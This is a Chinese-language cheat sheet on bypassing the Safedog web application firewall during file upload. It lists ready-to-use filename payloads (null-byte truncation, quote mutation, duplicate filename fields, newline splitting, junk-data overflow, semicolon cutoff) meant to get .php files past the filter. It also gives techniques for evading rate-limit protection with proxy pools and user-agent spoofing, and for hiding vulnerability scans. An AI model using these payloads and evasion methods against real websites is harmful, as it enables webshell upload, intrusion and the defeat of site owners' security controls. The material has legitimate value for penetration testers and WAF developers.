WAF-安全狗绕过文件上传

大多WAF 匹配原则

  1. 看见上传.php文件名马上拦截
  2. 看见上传php.php文件名限制左边或者右边

上传参数

Content-Disposition–用于接受表单数据
一般可以任意修改,甚至删除
name–接受到的表单名
不可修改
filename–上传文件名
可以修改
Content-Type–MIME类型
视情况定,需要考虑网站上传验证是否处理

payload:

①%00加url编码绕过
原理:利用截断加编码让waf匹配不到php后缀并且我们自己可以解析为php文件
filename=”x.php[%00].jpg”
②单双引号变异绕过:
原理:编程语言中变量后面一般都有双引号,有时候waf没有考虑到去掉引号而存在绕过
filename=”2’.php
filename=”‘2.php

③双文件名绕过:
原理:开发waf的作者只考虑到了单个变量提交,而没考虑到我们复制一个filename,产生了循环,也就只匹配了第一个
filename= ;filename=”php.php”
④换行绕过:
原理:数据包的换行默认是\n,但是waf在检测的时候检测到的是x\n.\np\nh\np
filename=”x
.
p
h
p

⑤参数溢出绕过
原理:waf检测的范围有限,没有考虑参数溢出的情况
Content-Disposition: form-data;[垃圾数据]; name=”file”;[垃圾数据];filename=”x.php”

⑥重复参数绕过
原理:waf误认为提交的参数是正常的,因而不会检测后面的数据
filename=”Content-Disposition: form-data; name=”upload_file”;x.php”

⑦数据截止绕过
filename=”a.jpg;.php”

⑧fuzz绕过
参考:https://www.cnblogs.com/-mo-/p/11221527.html

其他绕过payload:
filename=”‘.php
filename=”;2.php”

CC防护绕过

作用:检测数据包、检测速度
①未开CC绕过:模拟用户请求GET请求,比较简单,基本都有扫描防护
②开启CC绕过:
延时扫描
UA白名单
挂代理池

AWVS漏扫工具注入测试绕过

延时扫描,爬虫白名单
WAF扫描工具-wafw00f

涉及资源

https://www.cnblogs.com/-mo-/p/11221527.html 文件上传fuzz字典生成脚本
https://www.cnblogs.com/-chenxs/p/12324425.html WAF绕过参考方法
https://pan.baidu.com/s/17JiEcLOmA0VX1o1f641kKw 提取码:1111 安全狗apache4.0安装包
https://www.cnblogs.com/cxd4321/p/14629633.html 各大搜索引擎 User-Agent